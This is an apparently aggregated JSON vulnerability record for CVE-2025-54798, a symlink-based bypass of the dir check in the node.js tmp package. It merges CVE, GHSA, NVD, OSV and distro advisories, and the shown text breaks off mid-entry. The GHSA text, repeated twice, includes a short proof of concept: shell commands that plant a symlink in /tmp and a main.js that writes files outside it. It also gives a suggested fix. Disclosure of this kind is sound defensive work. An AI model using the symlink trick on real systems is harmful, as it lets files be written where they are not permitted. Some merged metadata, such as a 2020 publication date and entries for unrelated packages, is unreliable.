{"id":"CVE-2025-54798","aliases":["CLSA-2026-1774225215","CLSA-2026-1774398084","CLSA-2026-1775003179","CLSA-2026-1775003184","CLSA-2026-1775003185","CLSA-2026-1775003186","CLSA-2026-1775608295","CLSA-2026-1776818190","CLSA-2026-1782694760","CLSA-2026-1784682766","CLSA-2026-1792490490","DEBIAN-CVE-2025-54798","DLA-4268-1","EUVD-2025-23895","GHSA-52f5-9888-hmc6","GHSA-73v8-v6g4-vrpm","ROOT-APP-NPM-CVE-2025-54798","UBUNTU-CVE-2025-54798","openSUSE-SU-2025:15502-1","openSUSE-SU-2025:15506-1"],"status":"published","title":"tmp does not restrict arbitrary temporary file / directory write via symbolic link `dir` parameter","description":"tmp is a temporary file and directory creator for node.js. In versions 0.2.3 and below, tmp is vulnerable to an arbitrary temporary file / directory write via symbolic link dir parameter. This is fixed in version 0.2.4.","severity":{"version":"3.1","score":2.5,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"low","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00404,"percentile":0.35172,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-59"],"published":"2020-09-02T15:58:13Z","modified":"2026-10-28T02:31:04Z","fixes":[{"ecosystem":"npm","package":"tmp","fixed_in":["0.2.4"],"sources":["ghsa","osv"]},{"ecosystem":"npm","package":"decompress-zip","fixed_in":["0.2.2","0.3.2"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"decompress-zip","fixed_in":["0.1.0-tuxcare.1"],"sources":["osv"]},{"ecosystem":"TuxCare:npm","package":"tmp","fixed_in":["0.2.1-tuxcare.1","0.1.0-tuxcare.1","0.0.33-tuxcare.1","0.0.28-tuxcare.1","0.0.24-tuxcare.1","0.2.3-tuxcare.1","0.0.31-tuxcare.1","0.0.29-tuxcare.1"],"sources":["osv"]},{"ecosystem":"Debian:12","package":"node-tmp","fixed_in":["0.2.2+dfsg+~0.2.3-1.1~deb12u1"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"node-tmp","fixed_in":["0.2.2+dfsg+~0.2.3-1.1~deb13u1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"node-tmp","fixed_in":["0.2.2+dfsg+~0.2.3-1.1"],"sources":["osv"]},{"ecosystem":"Debian:11","package":"node-tmp","fixed_in":["0.2.1+dfsg-1+deb11u1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/tmp","fixed_in":["0.0.33-root.io.1","0.0.33-root.io.2","0.0.33-root.io.3","0.0.33-root.io.4","0.2.4-root.io.1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"tmp","fixed_in":["0.0.33-aikido.4","0.2.4-aikido.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"python-nbdime","fixed_in":["4.0.2-23.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"python-bqplot","fixed_in":["0.12.45-13.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.2.3"},{"fixed":"0.2.4"}]}]},{"source":"ghsa","ecosystem":"npm","package":"decompress-zip","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2.2"}]}]},{"source":"ghsa","ecosystem":"npm","package":"decompress-zip","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.3.0"},{"fixed":"0.3.2"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"decompress-zip","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.0-tuxcare.0"},{"fixed":"0.1.0-tuxcare.1"}]}],"versions":["0.1.0"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.2.1-tuxcare.0"},{"fixed":"0.2.1-tuxcare.1"}]}],"versions":["0.2.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.0-tuxcare.0"},{"fixed":"0.1.0-tuxcare.1"}]}],"versions":["0.1.0"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.33-tuxcare.0"},{"fixed":"0.0.33-tuxcare.1"}]}],"versions":["0.0.33"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.30-tuxcare.0"},{"fixed":"0.0.30-tuxcare.1"}]}],"versions":["0.0.30"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.28-tuxcare.0"},{"fixed":"0.0.28-tuxcare.1"}]}],"versions":["0.0.28"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.24-tuxcare.0"},{"fixed":"0.0.24-tuxcare.1"}]}],"versions":["0.0.24"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.2.3-tuxcare.0"},{"fixed":"0.2.3-tuxcare.1"}]}],"versions":["0.2.3"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.31-tuxcare.0"},{"fixed":"0.0.31-tuxcare.1"}]}],"versions":["0.0.31"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.29-tuxcare.0"},{"fixed":"0.0.29-tuxcare.1"}]}],"versions":["0.0.29"]},{"source":"osv","ecosystem":"Debian:12","package":"node-tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2.2+dfsg+~0.2.3-1.1~deb12u1"}]}],"versions":["0.2.2+dfsg+~0.2.3-1"]},{"source":"osv","ecosystem":"Debian:13","package":"node-tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2.2+dfsg+~0.2.3-1.1~deb13u1"}]}],"versions":["0.2.2+dfsg+~0.2.3-1","0.2.2+dfsg+~0.2.3-1.1~deb12u1"]},{"source":"osv","ecosystem":"Debian:14","package":"node-tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2.2+dfsg+~0.2.3-1.1"}]}],"versions":["0.2.2+dfsg+~0.2.3-1","0.2.2+dfsg+~0.2.3-1.1~deb12u1","0.2.2+dfsg+~0.2.3-1.1~deb13u1"]},{"source":"osv","ecosystem":"Debian:11","package":"node-tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2.1+dfsg-1+deb11u1"}]}],"versions":["0.2.1+dfsg-1"]},{"source":"osv","ecosystem":"npm","package":"tmp","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.2.4"}]}]},{"source":"osv","ecosystem":"npm","package":"decompress-zip","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.2.2"}]}]},{"source":"osv","ecosystem":"npm","package":"decompress-zip","ranges":[{"type":"SEMVER","events":[{"introduced":"0.3.0"},{"fixed":"0.3.2"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.33-root.io.1"},{"fixed":"0.0.33-root.io.2"},{"fixed":"0.0.33-root.io.3"},{"fixed":"0.0.33-root.io.4"},{"fixed":"0.2.4-root.io.1"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.33-aikido.4"},{"fixed":"0.2.4-aikido.1"}]}]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"node-tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.0.25-1","0.0.28-1"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"node-tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.0.31-1"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"node-tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.0.33+dfsg-2","0.1.0+dfsg-2","0.1.0+dfsg-3","0.1.0+dfsg-6"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"node-tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.2.1+dfsg-1","0.2.1+dfsg-2","0.2.1+dfsg+~0.2.2-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"node-tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.2.2+dfsg+~0.2.3-1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"node-tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.2.2+dfsg+~0.2.3-1","0.2.2+dfsg+~0.2.3-1.1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"node-tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.2.5+dfsg+~0.2.6-2","0.2.7+dfsg+~0.2.6-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"node-tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.2.2+dfsg+~0.2.3-1.1","0.2.5+dfsg+~0.2.6-1","0.2.5+dfsg+~0.2.6-2"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-nbdime","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.2-23.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-bqplot","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.12.45-13.1"}]}]}],"products":[{"vendor":"raszi","product":"node-tmp"},{"vendor":"raszi","product":"tmp"}],"references":[{"url":"https://github.com/raszi/node-tmp/security/advisories/GHSA-52f5-9888-hmc6","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web","report"]},{"url":"https://github.com/raszi/node-tmp/issues/207","tags":["x_refsource_MISC","Issue Tracking","Patch","report","web"]},{"url":"https://github.com/raszi/node-tmp/commit/188b25e529496e37adaf1a1d9dccb40019a08b1b","tags":["x_refsource_MISC","Patch","fix","web","report"]},{"url":"https://lists.debian.org/debian-lts-announce/2025/08/msg00007.html","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-54798","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-52f5-9888-hmc6"},{"url":"https://github.com/nodejs/security-wg/blob/master/vuln/npm/488.json","tags":["web"]},{"url":"https://snyk.io/research/zip-slip-vulnerability","tags":["web"]},{"url":"https://www.npmjs.com/advisories/777","tags":["web"]},{"url":"https://github.com/advisories/GHSA-73v8-v6g4-vrpm"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/54xxx/CVE-2025-54798.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2025-54798","tags":["advisory"]},{"url":"https://github.com/raszi/node-tmp","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2025-54798","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-54798","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2025-54798","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2025-54798","title":"tmp does not restrict arbitrary temporary file / directory write via symbolic link `dir` parameter","description":"tmp is a temporary file and directory creator for node.js. In versions 0.2.3 and below, tmp is vulnerable to an arbitrary temporary file / directory write via symbolic link dir parameter. This is fixed in version 0.2.4.","status":"published","published":"2025-08-07T00:04:35.37Z","modified":"2025-11-03T20:06:39.242Z","cvss":[{"version":"3.1","score":2.5,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"low","assessor":"cna"}],"cwes":["CWE-59"],"updated_at":"2026-11-02T14:32:27.28543Z"}],"euvd":[{"id":"EUVD-2025-23895","description":"tmp is a temporary file and directory creator for node.js. In versions 0.2.3 and below, tmp is vulnerable to an arbitrary temporary file / directory write via symbolic link dir parameter. This is fixed in version 0.2.4.","status":"published","published":"2025-08-07T00:04:35Z","modified":"2025-11-03T20:06:39Z","cvss":[{"version":"3.1","score":2.5,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"low"}],"updated_at":"2026-11-02T19:49:32.896597Z"}],"ghsa":[{"id":"GHSA-52f5-9888-hmc6","title":"tmp allows arbitrary temporary file / directory write via symbolic link `dir` parameter","description":"### Summary\n\n`tmp@0.2.3` is vulnerable to an Arbitrary temporary file / directory write via symbolic link `dir` parameter.\n\n\n### Details\n\nAccording to the documentation there are some conditions that must be held:\n\n```\n// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50\n\nOther breaking changes, i.e.\n\n- template must be relative to tmpdir\n- name must be relative to tmpdir\n- dir option must be relative to tmpdir //\u003c-- this assumption can be bypassed using symlinks\n\nare still in place.\n\nIn order to override the system's tmpdir, you will have to use the newly\nintroduced tmpdir option.\n\n\n// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375\n* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.\n     absolute paths are fine as long as they point to a location under the system's default temporary directory.\n     Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, \n     as tmp will not check the availability of the path, nor will it establish the requested path for you.\n```\n\nRelated issue: https://github.com/raszi/node-tmp/issues/207.\n\n\nThe issue occurs because `_resolvePath` does not properly handle symbolic link when resolving paths:\n```js\n// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579\nfunction _resolvePath(name, tmpDir) {\n  if (name.startsWith(tmpDir)) {\n    return path.resolve(name);\n  } else {\n    return path.resolve(path.join(tmpDir, name));\n  }\n}\n```\n\nIf the `dir` parameter points to a symlink that resolves to a folder outside the `tmpDir`, it's possible to bypass the `_assertIsRelative` check used in `_assertAndSanitizeOptions`:\n```js\n// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609\nfunction _assertIsRelative(name, option, tmpDir) {\n  if (option === 'name') {\n    // assert that name is not absolute and does not contain a path\n    if (path.isAbsolute(name))\n      throw new Error(`${option} option must not contain an absolute path, found \"${name}\".`);\n    // must not fail on valid .\u003cname\u003e or ..\u003cname\u003e or similar such constructs\n    let basename = path.basename(name);\n    if (basename === '..' || basename === '.' || basename !== name)\n      throw new Error(`${option} option must not contain a path, found \"${name}\".`);\n  }\n  else { // if (option === 'dir' || option === 'template') {\n    // assert that dir or template are relative to tmpDir\n    if (path.isAbsolute(name) \u0026\u0026 !name.startsWith(tmpDir)) {\n      throw new Error(`${option} option must be relative to \"${tmpDir}\", found \"${name}\".`);\n    }\n    let resolvedPath = _resolvePath(name, tmpDir); //\u003c--- \n    if (!resolvedPath.startsWith(tmpDir))\n      throw new Error(`${option} option must be relative to \"${tmpDir}\", found \"${resolvedPath}\".`);\n  }\n}\n```\n\n\n### PoC\n\nThe following PoC demonstrates how writing a tmp file on a folder outside the `tmpDir` is possible.\nTested on a Linux machine.\n\n- Setup: create a symbolic link inside the `tmpDir` that points to a directory outside of it\n```bash\nmkdir $HOME/mydir1\n\nln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir\n```\n\n- check the folder is empty:\n```bash\nls -lha $HOME/mydir1 | grep \"tmp-\"\n```\n\n- run the poc\n```bash\nnode main.js\nFile:  /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf\ntest 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'\ntest 2: dir option must be relative to \"/tmp\", found \"/foo\".\ntest 3: dir option must be relative to \"/tmp\", found \"/home/user/mydir1\".\n```\n\n- the temporary file is created under `$HOME/mydir1` (outside the `tmpDir`):\n```bash\nls -lha $HOME/mydir1 | grep \"tmp-\"\n-rw------- 1 user user    0 Apr  X XX:XX tmp-[random-id]\n```\n\n\n- `main.js`\n```js\n// npm i tmp@0.2.3\n\nconst tmp = require('tmp');\n\nconst tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});\nconsole.log('File: ', tmpobj.name);\n\ntry {\n    tmp.fileSync({ 'dir': 'mydir1'});\n} catch (err) {\n    console.log('test 1:', err.message)\n}\n\ntry {\n    tmp.fileSync({ 'dir': '/foo'});\n} catch (err) {\n    console.log('test 2:', err.message)\n}\n\ntry {\n    const fs = require('node:fs');\n    const resolved = fs.realpathSync('/tmp/evil-dir');\n    tmp.fileSync({ 'dir': resolved});\n} catch (err) {\n    console.log('test 3:', err.message)\n}\n```\n\n\nA Potential fix could be to call `fs.realpathSync` (or similar) that resolves also symbolic links.\n```js\nfunction _resolvePath(name, tmpDir) {\n  let resolvedPath;\n  if (name.startsWith(tmpDir)) {\n    resolvedPath = path.resolve(name);\n  } else {\n    resolvedPath = path.resolve(path.join(tmpDir, name));\n  }\n  return fs.realpathSync(resolvedPath);\n}\n```\n\n\n### Impact\n\nArbitrary temporary file / directory write via symlink","status":"published","published":"2025-08-06T17:06:04Z","modified":"2025-11-03T21:34:21Z","cvss":[{"version":"3.1","score":2.5,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"low"}],"cwes":["CWE-59"],"updated_at":"2026-11-02T14:39:04.350802Z"},{"id":"GHSA-73v8-v6g4-vrpm","title":"Arbitrary File Overwrite in decompress-zip","description":"Vulnerable versions of `decompress-zip` are affected by the Zip-Slip vulnerability, an arbitrary file write vulnerability. The vulnerability occurs because `decompress-zip` does not verify that extracted files do not resolve to targets outside of the extraction root directory.\n\n\n\n## Recommendation\n\nFor `decompress-zip` 0.2.x upgrade to 0.2.2 or later.\nFor `decompress-zip` 0.3.x upgrade to 0.3.2 or later.","status":"published","published":"2020-09-02T15:58:13Z","modified":"2023-01-09T05:03:36Z","updated_at":"2026-11-02T14:36:05.705235Z"}],"nvd":[{"id":"CVE-2025-54798","description":"tmp is a temporary file and directory creator for node.js. In versions 0.2.3 and below, tmp is vulnerable to an arbitrary temporary file / directory write via symbolic link dir parameter. This is fixed in version 0.2.4.","status":"published","published":"2025-08-07T01:15:26.203Z","modified":"2026-06-17T09:40:43.42Z","cvss":[{"version":"3.1","score":2.5,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"low","assessor":"secondary"},{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-59"],"updated_at":"2026-11-02T14:11:22.319351Z"}],"osv":[{"id":"CVE-2025-54798","title":"tmp does not restrict arbitrary temporary file / directory write via symbolic link `dir` parameter","description":"tmp is a temporary file and directory creator for node.js. In versions 0.2.3 and below, tmp is vulnerable to an arbitrary temporary file / directory write via symbolic link dir parameter. This is fixed in version 0.2.4.","status":"published","published":"2025-08-07T00:04:35.37Z","modified":"2026-10-28T02:31:04.53420494Z","cvss":[{"version":"3.1","score":2.5,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"low"}],"cwes":["CWE-59"],"updated_at":"2026-11-02T15:44:50.863921Z"},{"id":"DEBIAN-CVE-2025-54798","description":"tmp is a temporary file and directory creator for node.js. In versions 0.2.3 and below, tmp is vulnerable to an arbitrary temporary file / directory write via symbolic link dir parameter. This is fixed in version 0.2.4.","status":"published","published":"2025-08-07T01:15:26.203Z","modified":"2026-09-01T20:04:24.428198097Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:45:47.378563Z"},{"id":"GHSA-52f5-9888-hmc6","title":"tmp allows arbitrary temporary file / directory write via symbolic link `dir` parameter","description":"### Summary\n\n`tmp@0.2.3` is vulnerable to an Arbitrary temporary file / directory write via symbolic link `dir` parameter.\n\n\n### Details\n\nAccording to the documentation there are some conditions that must be held:\n\n```\n// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50\n\nOther breaking changes, i.e.\n\n- template must be relative to tmpdir\n- name must be relative to tmpdir\n- dir option must be relative to tmpdir //\u003c-- this assumption can be bypassed using symlinks\n\nare still in place.\n\nIn order to override the system's tmpdir, you will have to use the newly\nintroduced tmpdir option.\n\n\n// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375\n* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.\n     absolute paths are fine as long as they point to a location under the system's default temporary directory.\n     Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, \n     as tmp will not check the availability of the path, nor will it establish the requested path for you.\n```\n\nRelated issue: https://github.com/raszi/node-tmp/issues/207.\n\n\nThe issue occurs because `_resolvePath` does not properly handle symbolic link when resolving paths:\n```js\n// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579\nfunction _resolvePath(name, tmpDir) {\n  if (name.startsWith(tmpDir)) {\n    return path.resolve(name);\n  } else {\n    return path.resolve(path.join(tmpDir, name));\n  }\n}\n```\n\nIf the `dir` parameter points to a symlink that resolves to a folder outside the `tmpDir`, it's possible to bypass the `_assertIsRelative` check used in `_assertAndSanitizeOptions`:\n```js\n// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609\nfunction _assertIsRelative(name, option, tmpDir) {\n  if (option === 'name') {\n    // assert that name is not absolute and does not contain a path\n    if (path.isAbsolute(name))\n      throw new Error(`${option} option must not contain an absolute path, found \"${name}\".`);\n    // must not fail on valid .\u003cname\u003e or ..\u003cname\u003e or similar such constructs\n    let basename = path.basename(name);\n    if (basename === '..' || basename === '.' || basename !== name)\n      throw new Error(`${option} option must not contain a path, found \"${name}\".`);\n  }\n  else { // if (option === 'dir' || option === 'template') {\n    // assert that dir or template are relative to tmpDir\n    if (path.isAbsolute(name) \u0026\u0026 !name.startsWith(tmpDir)) {\n      throw new Error(`${option} option must be relative to \"${tmpDir}\", found \"${name}\".`);\n    }\n    let resolvedPath = _resolvePath(name, tmpDir); //\u003c--- \n    if (!resolvedPath.startsWith(tmpDir))\n      throw new Error(`${option} option must be relative to \"${tmpDir}\", found \"${resolvedPath}\".`);\n  }\n}\n```\n\n\n### PoC\n\nThe following PoC demonstrates how writing a tmp file on a folder outside the `tmpDir` is possible.\nTested on a Linux machine.\n\n- Setup: create a symbolic link inside the `tmpDir` that points to a directory outside of it\n```bash\nmkdir $HOME/mydir1\n\nln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir\n```\n\n- check the folder is empty:\n```bash\nls -lha $HOME/mydir1 | grep \"tmp-\"\n```\n\n- run the poc\n```bash\nnode main.js\nFile:  /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf\ntest 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'\ntest 2: dir option must be relative to \"/tmp\", found \"/foo\".\ntest 3: dir option must be relative to \"/tmp\", found \"/home/user/mydir1\".\n```\n\n- the temporary file is created under `$HOME/mydir1` (outside the `tmpDir`):\n```bash\nls -lha $HOME/mydir1 | grep \"tmp-\"\n-rw------- 1 user user    0 Apr  X XX:XX tmp-[random-id]\n```\n\n\n- `main.js`\n```js\n// npm i tmp@0.2.3\n\nconst tmp = require('tmp');\n\nconst tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});\nconsole.log('File: ', tmpobj.name);\n\ntry {\n    tmp.fileSync({ 'dir': 'mydir1'});\n} catch (err) {\n    console.log('test 1:', err.message)\n}\n\ntry {\n    tmp.fileSync({ 'dir': '/foo'});\n} catch (err) {\n    console.log('test 2:', err.message)\n}\n\ntry {\n    const fs = require('node:fs');\n    const resolved = fs.realpathSync('/tmp/evil-dir');\n    tmp.fileSync({ 'dir': resolved});\n} catch (err) {\n    console.log('test 3:', err.message)\n}\n```\n\n\nA Potential fix could be to call `fs.realpathSync` (or similar) that resolves also symbolic links.\n```js\nfunction _resolvePath(name, tmpDir) {\n  let resolvedPath;\n  if (name.startsWith(tmpDir)) {\n    resolvedPath = path.resolve(name);\n  } else {\n    resolvedPath = path.resolve(path.join(tmpDir, name));\n  }\n  return fs.realpathSync(resolvedPath);\n}\n```\n\n\n### Impact\n\nArbitrary temporary file / directory write via symlink","status":"published","published":"2025-08-06T17:06:04Z","modified":"2026-09-10T03:50:26.594618609Z","cvss":[{"version":"3.1","score":2.5,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"low"}],"cwes":["CWE-59"],"updated_at":"2026-11-02T15:46:37.864461Z"},{"id":"ROOT-APP-NPM-CVE-2025-54798","title":"CVE-2025-54798 in @rootio/tmp - Patched by Root","description":"Root has patched CVE-2025-54798 in the @rootio/tmp package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-06-22T10:20:59Z","modified":"2026-06-22T12:33:45.011708544Z","cvss":[{"version":"3.1","score":2.5,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"low"}],"updated_at":"2026-11-02T15:53:27.362922Z"},{"id":"UBUNTU-CVE-2025-54798","description":"tmp is a temporary file and directory creator for node.js. In versions 0.2.3 and below, tmp is vulnerable to an arbitrary temporary file / directory write via symbolic link dir parameter. This is fixed in version 0.2.4.","status":"published","published":"2025-08-07T01:15:00Z","modified":"2026-10-17T12:57:07.934790711Z","cvss":[{"version":"3.1","score":2.5,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"low"},{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T16:55:50.817402Z"},{"id":"CLSA-2026-1774225215","title":"TuxCare security update for decompress-zip (1 CVE)","description":"TuxCare rebuilt decompress-zip to address 1 CVE. Fixed in 0.1.0-tuxcare.1.","status":"published","published":"2026-08-04T14:52:14Z","modified":"2026-10-15T09:47:47.954897089Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1774398084","title":"TuxCare security update for git-clone (5 CVEs)","description":"TuxCare rebuilt git-clone to address 5 CVEs. Fixed in 0.1.0-tuxcare.1.","status":"withdrawn","published":"2026-08-04T14:52:15Z","modified":"2026-10-26T13:21:31Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1775003179","title":"TuxCare security update for tmp (1 CVE)","description":"TuxCare rebuilt tmp to address 1 CVE. Fixed in 0.2.1-tuxcare.1.","status":"published","published":"2026-08-04T14:52:18Z","modified":"2026-10-15T09:47:48.95932406Z","updated_at":"2026-11-02T15:43:44.009773Z"},{"id":"CLSA-2026-1775003184","title":"TuxCare security update for tmp (1 CVE)","description":"TuxCare rebuilt tmp to address 1 CVE. Fixed in 0.1.0-tuxcare.1.","status":"published","published":"2026-08-04T14:52:18Z","modified":"2026-10-15T09:47:48.846575523Z","updated_at":"2026-11-02T15:43:44.009773Z"},{"id":"CLSA-2026-1775003185","title":"TuxCare security update for tmp (1 CVE)","description":"TuxCare rebuilt tmp to address 1 CVE. Fixed in 0.0.33-tuxcare.1.","status":"published","published":"2026-08-04T14:52:18Z","modified":"2026-10-15T09:47:49.158683011Z","updated_at":"2026-11-02T15:43:44.009773Z"},{"id":"CLSA-2026-1775003186","title":"TuxCare security update for tmp (2 CVEs)","description":"TuxCare rebuilt tmp to address 2 CVEs. Fixed in 0.0.30-tuxcare.1.","status":"published","published":"2026-08-04T14:52:18Z","modified":"2026-10-15T09:47:49.031026817Z","updated_at":"2026-11-02T15:43:44.009773Z"},{"id":"CLSA-2026-1775608295","title":"TuxCare security update for tmp (1 CVE)","description":"TuxCare rebuilt tmp to address 1 CVE. Fixed in 0.0.28-tuxcare.1.","status":"published","published":"2026-08-04T14:52:23Z","modified":"2026-10-15T09:47:49.684859812Z","updated_at":"2026-11-02T15:43:44.009773Z"},{"id":"CLSA-2026-1776818190","title":"TuxCare security update for tmp (1 CVE)","description":"TuxCare rebuilt tmp to address 1 CVE. Fixed in 0.0.24-tuxcare.1.","status":"published","published":"2026-08-04T14:52:27Z","modified":"2026-10-15T09:45:45.614827698Z","updated_at":"2026-11-02T15:43:44.009773Z"},{"id":"CLSA-2026-1782694760","title":"TuxCare security update for tmp (1 CVE)","description":"TuxCare rebuilt tmp to address 1 CVE. Fixed in 0.2.3-tuxcare.1.","status":"published","published":"2026-08-04T14:52:39Z","modified":"2026-10-15T09:47:51.606073142Z","updated_at":"2026-11-02T15:43:45.794021Z"},{"id":"CLSA-2026-1784682766","title":"TuxCare security update for tmp (1 CVE)","description":"TuxCare rebuilt tmp to address 1 CVE. Fixed in 0.0.31-tuxcare.1.","status":"published","published":"2026-08-04T14:52:46Z","modified":"2026-10-15T09:47:54.242305584Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1792490490","title":"TuxCare security update for tmp (1 CVE)","description":"TuxCare rebuilt tmp to address 1 CVE. Fixed in 